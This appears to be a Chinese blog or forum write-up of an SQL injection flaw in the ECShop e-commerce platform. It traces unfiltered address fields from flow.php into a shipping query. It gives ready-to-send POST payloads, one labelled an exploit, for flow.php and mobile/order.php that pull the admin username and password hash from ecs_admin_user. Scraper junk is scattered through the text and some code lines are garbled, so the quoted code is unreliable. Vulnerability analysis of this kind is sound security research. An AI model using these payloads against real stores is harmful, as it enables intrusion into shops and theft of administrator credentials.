ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

: `) Y: z; M" n7 t    漏洞关键文件：
9 b" q$ J0 {  k
    /includes/lib_order.php

    关键函数：



3 E3 I2 R( E" _2 ~( b* U! E1 ~3 d01     function available_shipping_list($region_id_list)
5 G1 T5 S. q5 |9 B
02 {
; y2 }5 K/ Q* h9 k
& o3 i  c3 P4 \  e$ J* f03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
5 E) T' J) \% ]
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
( ~: l% ]% H, j+ t" ^  \
4 N! y' {, |9 H; N1 w3 r0 D1 h05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

/ S# `/ [0 h7 S06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

7 s" |* d* P; ]! G08             'WHERE r.region_id ' . db_create_in($region_id_list) .
+ i8 t+ @0 C$ q7 M. |, I
9 P8 V, M5 _+ I' z6 |09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   

11     return $GLOBALS['db']->getAll($sql);

12 }

显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
第531行：   

  H' r: ~  q% c& ]1 $shipping_list     = available_shipping_list($region);
" S. k% R0 D2 y1 A
; A4 K  N$ y" O6 b5 Z: k: v



$ K1 x" w2 C; P$ n9 n) E再对传入变量进行追踪：

第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

# y$ o) E" e7 P- L% `  I



- S7 q- Z# W" X" b! P第473行：        
6 d$ |  p+ X# [+ Z2 s2 t* ~
1 $consignee = get_consignee($_SESSION['user_id']);

5 k8 L  [% @8 _" ^4 m到了一个关键函数：
+ ?' [0 J5 r. ]: p6 K( `
/includes/lib_order.php

2 d& y  A& @, G8 b9 r% J


  w. s1 E8 K4 I  u1 w, T$ i
) j7 [+ u* z/ p5 l01 function get_consignee($user_id)
& Y* R4 h+ k% F! e& n* y& T- e
. Q! x* f8 L2 ]02 {
# \$ j4 R+ @- V7 K5 Q9 p! f
03     if (isset($_SESSION['flow_consignee']))
1 E# e' ~" z( h
! _0 `4 B% T; S! Y04     {
0 S6 o. R8 _/ N9 ~% U8 x: {
05         /* 如果存在session，则直接返回session中的收货人信息 */

06   

07         return $_SESSION['flow_consignee'];

08     }

09     else

/ T& I! S+ N$ z  L10     {
% j5 k! ?4 U3 c" A$ h
" h! \& n" }/ y7 y% Q11         /* 如果不存在，则取得用户的默认收货人信息 */

# h1 V3 H. g- g9 r1 a* z$ {, F0 V12         $arr = array();

13   

6 r! V9 R' U  `  s0 D# k- z14         if ($user_id > 0)
4 J% j9 c; F8 ?1 m0 r
15         {

; V& t7 C- D( x8 K: C7 T8 C% z16             /* 取默认地址 */
1 U: }" C1 \4 O' r$ e/ G. x( f
, i+ x7 y$ v! _) s17             $sql = "SELECT ua.*".
( i6 D3 k0 o. t. {1 t
5 ]% C6 B' D( t: b18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
" v( a& L$ H  t4 }% w
: L% b" L, J9 R6 ~1 T' W$ f19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
5 R; h, Q* q* ^8 d8 m
20   

21             $arr = $GLOBALS['db']->getRow($sql);
6 {2 W, b; j5 _7 w. U5 ~4 o5 p) R
- n  V5 T& Y& N22         }
+ L: C, N- p) ^8 m" m& S/ m
23   
3 f; D% U, G/ P, V! l. |+ Y
1 v( n' i/ ?4 z24         return $arr;

  U& E7 {9 f) w2 t/ s25     }
) P% ~9 k1 f+ a/ V5 R
$ d0 q1 A; N! b% @26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
5 G$ r* A# S  _5 E

! k3 e/ i" O0 `, K5 o8 k
# L" ^/ a. {' Y+ |9 W关键点:

7 o0 d+ x9 j" \第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。
. P4 [. x9 X2 S  C: q& v6 ?

, ^8 L, D9 P& S8 {" N5 Y
) P( _7 K' D( Q. H6 f然后看下：
/ ^! G4 G8 ?/ f, P" C' Q

- {& S) k& z- r" M7 {
   

01 $consignee = array(
+ ~1 L* v8 C9 w' v" T; Q
  n1 S3 H1 W2 h02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
2 W) K7 d: J( k3 @. u
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
% x% _& a$ g* b- w; W) c
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
' i  A; [& K) V
9 V) A5 l) z2 T% j: ~8 i' E1 m& D05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
8 k/ b  _# b9 Q; ^- y
4 d% U, n9 Y, `1 `  @  p$ J07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
0 U1 z4 m; n5 B: E' i- t( Y/ I# `  P
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
2 ~2 f0 B4 b1 y  L
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

. s9 D1 |/ f8 w8 Q: C11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

/ f6 _/ W% X6 @4 G$ E12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
* ~3 d) |1 [' _) J# C* N' ?9 q( l/ A
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
( ]) Y, E% x+ g5 ?4 r
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );

9 Q$ G9 B, i" Z" q  s) x好了注入就这样出现了。

==================

注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106


. `" d0 u  @6 ^; {) S6 ^5 z
1.首先需要点击一个商品加入购物车
6 k% F$ g& z8 _0 o( e/ j% }
2.注册一个会员帐号
# }+ b% @) m* z5 t& L; e6 B4 c
3.post提交数据

2 i4 i( ~* G  R! k/ H; e

4 v( `4 E% p. ]* @, y1 http://127.0.0.1/ecshop/flow.php

9 \, ~4 A0 |! L1 M  w( x2   

' i) }+ M' f. o; u, `3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

/ Y8 p  X! \' i& l! G8 y我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
+ @1 y3 B5 q" Y* g8 w# x' a0 d& v
) U" w9 I6 f6 B& j利用exp:
! _+ ?7 \1 `3 H1 O
* i* I! U( M  l1.点击一个商品，点击购买商标

2.登录会员帐号
5 u- [: g6 V4 m6 C  p
+ y/ x' J# Y6 ^7 _1 X! Y/ L0 }3 S7 _3.post提交：
" d. q0 L3 W4 P! `, C0 Y; F/ L
http://127.0.0.1/ecshop/mobile/order.php
1 R$ t3 @# b3 `; L& K0 }1 {) P


* ^* i: t+ Y; `' a0 Z" hcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

) w% _+ E3 e! S